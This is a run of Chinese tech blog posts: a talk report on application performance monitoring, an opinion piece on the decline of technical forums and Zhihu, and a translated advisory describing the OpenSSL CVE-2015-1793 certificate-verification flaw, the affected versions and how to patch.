               而用户体验的改善我们需要去从不同的角度去分析，就如上图所示的一样，从设计方面，我们设计出更符合现在用户更喜欢的UI的风格界面，从服务方面，我们需要做好技术售后的服务和海底捞式的优服务，从产品方面我们要把产品做到极致，从性能方面，我们要让用户体验的更爽，让他的抱怨更少，从架构方面，我们应该拿出GEEK的精神去部署，从交互方面，我们应该做到简约明了，而这些并不是每个公司都能做到的，我们可以通过第三方的SaaS提供商来解决这些，可以促进我们更快、更高效的解决这些问题，当这些问题不存在了，作为工程师的我们就可以坐到办公室里面喝茶了，而不是天天焦急频繁迭代去改善我们产品的这些问题，当然这是一个最理想的状态，我想不久的将来会是这么一个状态，因为我们就在做这件事。
      2.网站架构模型


                 作为技术人员我们都知道网站的典型架构模型如上所示，随着业务增长，架构也会越来越大，关系的方面很多有网站的高可用性、数据的一致性、数据存储和搜索等等一系列的问题。随着这些问题的不断产生、扩张，你觉得作为技术人员的你，还有时间喝茶吗，公司只会不停的去招人，不停的去解决这些问题，从而导致你的网站、产品的质量和体验值都会下降，所以应用系统性能对用户的体验是至关重要的！
      3.应用系统性能

                 说起流氓这个词，我想流氓会武术，谁都挡不住哦。但是在这个创客的时代，创业者们本来就是"流氓"，因为创业就是这样的，你成功了你就是预言家，失败了你就是在催牛逼。

                 前不久淘宝、携程相继出现故障，我想对他们自己的业务带来了不小的影响，淘宝还好，我相信淘宝确时是因为光缆破坏导致的故障，可怜的是携程，整个业务故障时间整整有半天之久，这个对用户的体验是非常不好的。也会造成用户对公司的信任，我的个人信息是不是会被暴露等一些问题，所以说应用的性能确实很重要，直接影响到了公司财政收入啊。难怪携程故障，老板会发出话来说，谁能给我最快的速度解决问题，奖励100万呢！

瓶颈是谁
        1.环境分析

                 一个公司由不同的部门组成，又我们的技术客服、运维、开发、市场等组成。作为一个互联网公司，当公司发展的道路上，遇到了阻力，我们产品的应用性能问题，到底是谁负责，谁来解决呢？通常我们一般都会先想到我们可爱的开发者同学们身上，然后我们开发的同学就不停的加班，解决bug和问题，但是最后效果并不是很好。就如下图所示：

                 那就让我们来分析分析应用的环境吧

                 没错，如上图所示应用就是一个多技术栈复合的整合环境。我想大家看到这么一个细化的环境，你让我们可爱的开发同学，怎么去发现问题点，即使花了大部分时间找出的问题所在，这么一个环境一个人可能完成吗，需要多个开发同学配合修复，但是等你花了大部分时间来分析你应用的时候，你公司的业务进度也是停滞不前的，蛋糕也许就被别人切走了！所以这就是APM的价值所在，透视宝则孕育而生


       2.坑在哪里


                   问题出现了，作为技术人员就会去找坑，但是业务环境和系统环境都可能有问题，所以找坑成为一种苦恼，喝茶的时间自然没有，我们需要从前端cdn层、web层、缓存存、数据层等方面着手一一去分析，但是最后你不一定可以准确的找到答案。就拿我们线上一次事件来说吧，我们的业务任务调度出现了瓶颈，我们足足花了三天之久的时间，最后才有80%的把握确认瓶颈出现在缓存系统redis上面，虽然已经找到了问题所在，最后重启redis，把资源释放了，最后暂时把问题解决了，但是最后这种问题还是会发生了，所以最后我们只好扩展redis，最后选择用来豌豆荚开源出来的分布式redis系统codis得于解决。从这个案例上来看，可想而知，查找坑是多嘛痛苦的事情啊，这让我想起了一句歌词"多么痛的领悟"! 而APM正好可以帮你解决你的痛苦。
 
怎么解决
                     那我们到底应该怎么去发现和解决呢？
       1.优化方案

                      我们的分享人给出了如上图所示的一些建议。无可厚非，我们在设计架构和语言程序的选择上面，头期一定要多考虑到性能问题和可扩展和高可用的问题，要不后期随着产品和业务的增长你只能去找坑，填坑了！


                      对于监控大家当然不陌生，监控是作为一个业务增长保证的基础，因为在业务增长的同时，我们要未雨绸缪的考虑到一些性能方面的问题，而监控正好可以我们很好的做个预警工作，可以让我们有足够充裕的时间来解决问题，不至于等到问题出现，来临时抱佛脚，着急的处理。而云智慧他们有这个优势，因为他们还有一款产品监控宝, 我想大家应该都听说过吧。
     
        2.发现解决

                       如上图是云智慧产品透视宝的Smart Agent的架构图，那它的特点是什么，能干什么?

                       从上图可以看出smart agent就是类似于我们常说的一个嵌入的sdk一样，只不过这是一个比较高级的sdk，它可以自动发现你主机上面的应用程序、代码执行效率、已经整个环境的生态关系和性能指标的采集、分析数据，从而发现你这个应用系统的性能瓶颈所在。那有人，就会问了这个东西安装在我服务器上是否安全，我的信息是否会被盗取和丢失呢？

                         我想作为用户有担心是无可厚非的，但是我想做一个长久的公司，是会考虑到我们用户的感受的，看到如上图的解释，我想安全问题，应该不存在的。那这个系统实现原理是怎么样的，是怎么实现的？大会上分享人给出了一个php code执行的数据流图

                          整个系统又能解决哪些问题呢？

                          web端用户体验问题


                          作为运维工程师，经常会有客户反应公司网站慢，但是作为运维人员有不能很好的去查询预知，哪个地方的客户访问比较慢，只有客户反应过来才了解，这样就导致用户体验不好的问题，以致业务收到影响。我这里举个例子，我上家公司是做app市场推广和下载的，类似于91助手，我们公司的用户群体主要集中在北京、上海、深圳、广州等一线城市，有一天我们领导要我分别去测试评估这几个城市在我们平台用户下载速度，这可是给我出了一道难题了，我只好让朋友帮忙，测试了，然后评估一个数据了。页面详情追踪我想，为我们做web优化做出了很好的分析，可以针对相应慢的资源，做出相应的优化方案，不错觉得功能还可以，可以解决痛点！
                         后端服务事务分析


                         深入到后端可以让我们清晰的了解性能出现在哪个节点上面，代码级别可以让我们深入了解开发者的代码性能的问题，已经查询SQL性能的问题。看起来挺好高级的，但是如果能提供解决方案更好了。比如查询出来我有一个SQL执行时间过长，然后给出一个认为更优的SQL语句，来做到真正为用户考虑，尽最大力度，减小用户的痛点，就更好了，不过作为创业公司已经做的很不错了，继续加油吧！
                          应用架构

                          有一个清晰的业务应用架构，当然对解决问题是有很大帮助的。最后问题发现了，解决了，是不是可以喝茶了，balabala，happy！


                           真心要喝茶去了，因为大牛的分享结束了，真是意犹未尽啊！
下面我分享几张现场的照片和大牛的PPT给大家
PPT下载地址

本人文笔有限，欢迎大家交流、拍砖

今天查看微信订阅号，查看到了微信订阅号"运维帮"南非蜘蛛发布的一篇文章"纪念曾经一起上过的技术社区",文章最后的一句话明显是重点，前面说的都是铺垫，这么做的原因是什么，请看我的分析。
"纪念曾经一起上过的技术社区"文章原文如下： 

       不知道是现在技术太成熟，还是大家都懒的交流，以前活跃的社区都歇菜了，比如Chinaunix、ITPUB、Linuxfans、Linuxform、Linuxeden、网易社区等等。

作为国内最大的技术社区Chinaunix，今天的数据统计是：

论坛共有 17794083 篇帖子(其中 1459640 篇主题) 今日发帖量为 139 篇 

现在每天发帖量也不过200篇，都已经杂草丛生，无人管理，版主会议室也是常年无人发言，经常看到很多版主请辞，估计是不做这行了？也可能是精力不够。

社区之死是什么原因？无人知晓。

我个人还是比较喜欢bbs和邮件订阅形式的技术讨论，一是讨论的东西可以沉淀，留下历史记录，如果搜索引擎收录了，还可以帮助更多的人，二是想回答就回答，不想回答就潜水。QQ和微信讨论的好处是实时，但坏处也是实时，天天被人追着问问题，我心也不免狂躁，就算不回答，看着头像闪来闪去也闹心。

现在还有一些其它地方也可以讨论技术，反正只要有工程师活跃的地方，就有技术讨论。

微博讨论技术感觉是怪怪的，好像更适合发布一些消息，而且噪音太多，有用的东西很容易被淹没在明星的爆料中，微博娱乐属性更强一些，其次是科技新闻。

知乎这种问答社区也经常看到技术讨论，但是更多的是争吵和鄙视。



寻找一方净土，一起学习技术，看来只有yunweibang订阅号了，还有运维帮线下技术沙龙，准备开始第二期了，大家一起期待一下。

     上面的内容中有我共鸣的地方那就是，有好的东西，好的技术文章和好的解决方法我们应该分享出来，被搜索引擎收录，然后帮助跟我们一样，学习linux开源技术和编程语言等技术的后来者，可以让他们走很多弯路，减少痛苦，这何乐而不为呢？我相信就行开源的一些技术一样，如果它不开源出来，源代码不开放，你根本就不会了解到它核心的思想，和优秀的地方，也不会促进大家一起共享代码，共同推动技术的发展。

       确实现在好多技术社区已经不活跃了，基本上就是搜索引擎搜索到一些旧的文章和问题，带来这些社区的一些访问。我想原因有如下几点：
       1.现在很多做技术的人都有自己的博客了，所以他们主动逛这种社区类型的网站概率小了。
        2.就是现在主流做技术的人员比较活跃的人群的年龄阶段已经是80后到93之间的群体了，而这些人都是比较喜欢新鲜事物和追求一些geek精神的人，以前的站点旧式的bbs的页面，已经不能让这些人很好的接受了，因为这些界面拿现在来说，就是落后式，就是比较loss。
        3.现在的技术者平常很少关系站点的好坏和分享的问题，因为现在互联网信息传播的途径太多了QQ，微信，Qzone，微博，社区等。他们不该如何选择了，所以他们干脆就不选择了，随波逐流，看到好的技术文章和分享就赞和分享，所以导致技术者们没有专一的习惯了，所以以前的一些技术社区都在衰败中了。

        "南非蜘蛛"在文中还提到了知乎，以说知乎我其实不得不吐槽一下。恨一个人肯定是有原因的，要不是以前太爱了被伤害了，要不就是被虐待了，当然我吐槽知乎也是有历史原因的。当初我也是发现像"南非蚂蚁"所说的问题，就是大家纯分享技术的动力越来越少了，变成了聊天，侃大山不管是qq群还是微信群，真正做技术分享和帮助的社区网站太少了。所以当初我就拿着我朋友"采菊篱下"的openskill.cn这个域名到知乎提问，问题的内容是"大家好，我和我朋友有个域名openskill.cn，然后希望做一个技术分享的社区，让大家可以看到有货的一个社区，做一个分享的社区，希望有愿意和我们一起弄的同学，联系qq：912xxxx" ,但是后来知乎就给我发来一封私信"说我发的信息是广告等垃圾信息" ，后来我就无意间回了一封私信"你们公司 什么意思啊 我这个提问 认为是广告等垃圾信息，我违反什么了?",但是没有下文了，到最后也就这样了。这就是我吐槽知乎的原因。所以以后我再也不上知乎，也不看知乎里面的信息，当然就像"南非蜘蛛"提到的"知乎这种问答社区也经常看到技术讨论，但是更多的是争吵和鄙视",因为知乎现在的运营已经形成了这种恶劣的情况，谁是什么ceo，什么cto，高级dba，高级什么莫莫。这不是一个技术分享社区应该有的现象，这就是知乎自认为所谓的价值存在的地方，你看我们网站这么多人用，有谁，这个那个，cto，ceo，什么的，把分享和开源的精神都扭曲了，所以我不喜欢知乎。经过知乎这件事情后我和我朋友"采菊篱下"就一起创建了现在这个技术文章分享和工作中遇到的错误和技术难题解决方法和思路的一个，技术问答和文章分享的网站AfewBug 分享动力。虽然现在没有什么用户和跟我们有共同爱好的人来做这件事情，但是我们会坚持的，因为我们是爱分享和爱开源的人。希望可以帮助到后来者，我们发布的这些文章和错误的解决方法和方案！

       最后我们回到话题"寻找一方净土，一起学习技术，看来只有yunweibang订阅号了，还有运维帮线下技术沙龙，准备开始第二期了，大家一起期待一下。"南非蜘蛛同学明显实在为自己的订阅号，做广告和宣传吗，我不想深入说其中的缘由，都在互联网我想大家都应该知道。但是我希望大家做的事情都是正能量，可以让大家受益的，而不是极少数的人受益。

        当然我写这篇文章有人也会说，你是不是也在做广告和拉用户量，然后让你们网站火起来啊。我想说的是，不是，但是相不相信就看你自己心里怎么判断了。因为我写这篇文章的目的是想告诉大家，真正好的东西，应该大家一起分享。还有就是我个人认为微信真心不是学习技术的一份净土，它可能是很好的营销和市场宣传的一个很好的渠道和途径。因为现在微信已经是很多公司、微商、自媒体、网站等，传播知名度的一个很好的工具。无可厚非，微信并没有错，它是成功的，正是因为它的作用它才有存在的价值。所以南非蜘蛛写净土只有yunweibang订阅号了，他并没有说错，因为这是微信的作用。

        这篇文章纯属自己心血来潮，都是个人观点，不过欢迎大家拍砖。

本周初，OpenSSL发布了CVE-2015-1793的漏洞更新包:

这些更新包在7月9日发布，它们将用于修复一个“高危漏洞”。这些漏洞不会影响1.0.0或者 0.9.8版本。--->Forthcoming OpenSSL releases

漏洞细节及修补补丁的具体方法将在下面给出：

高危漏洞补丁

该补丁修复了一个高危漏洞。由OpenSSL团队出版，详情如下:
在证书验证期间，OpenSSL(1.0.1n到1.0.2b版本)将试图寻找一个证书验证链，如果没有找到，那么OpenSSL又会试图寻找另一个证书验证链。但是在这个逻辑的实现中却存在着一个错误，这个错误将导致攻击者可以使用不受信任的征收绕过检查。比如 CA 标识。这使他们能够使用无效的证书充当证书验证链中的叶子证书，比如 CA 和 "issue"。 
----->OpenSSL Security Advisory [9 Jul 2015]

这种漏洞允许黑客进行“中间人”攻击，并且能让程序在看到无效和不受信任的证书时让应用程序把该无效证书当成有效的。基本上，它可以让没个人都能成为他们自己的证书颁发机构(Certificate Authority.CA)。

这个Bug已被提交到： aae41f8c54257d9fa6904d3a9aa09c5db6cefd0d.

还提交到了:2aacec8f4a5ba1b365620a7b17fcce311ada93ad.

该问题确实相当严重，这意味着又它又被修复了一次。

不幸中的万幸是，它只有限地影响部分OpenSSL版本：OpenSSL 1.0.2c，1.0.2b,1.0.1n ,1.0.1o。

受影响的版本和操作系统有哪些？

该漏洞似乎只存在于OpenSSL在2015年6月以后发布的版本中。这貌似让如Linux这一类的系统相对比较安全。因为他们已经有很久没有更新OpenSSL了。

Red Hat，CentOS和Ubuntu完全不会受此漏洞影响，因为在2015年6月没有发布针对这几个系统的版本。

正如Red Hat宣布的：

OpenSSL项目已发布一个重要漏洞补丁（CVE-2015-1793）,该漏洞影响OpenSSL的1.0.1n,1.0.1o,1.0.2b及1.0.2c版本。

上面的那些版本只能用一个月，考虑到Red Hat对重要漏洞的修复和功能选择的谨密政策，OpenSSL没有搭载任意一个上述功能。

Red Hat无需做任何东西去修复或减轻该漏洞（CVE-2015-1793），因为Red Hat不受该影响。



OpenSSL 7月9日安全修复（CVE-2015-1793)。

只是为了安全起见，如果可用，请尽快检查并进行更新。特别是如果你有软件使用了最新的OpenSSL源代码或其它库。
如何打补丁
和往常的补丁一样（参考：heartbleed（https://ma.ttias.be/patch-against-the-heartbleed-openssl-bug-cve-2014-0160/）, CVE-2015-0291) https://ma.ttias.be/openssl-cve-2015-0291-cve-2015-0286/） and CVE-2015-0286），修复一般需要两步，首先你得更新操作系统的各种库。

由于是“中间人”攻击，所以建议你重新所有服务或者应用程序连接到的SSL/TLS远程端点。如果有人试图改变你的远程端点的DNS并且把URL指向到自己的服务器，那么，你的程序可能依然会认为它是一个有效的的SSL/TLS流。
原文地址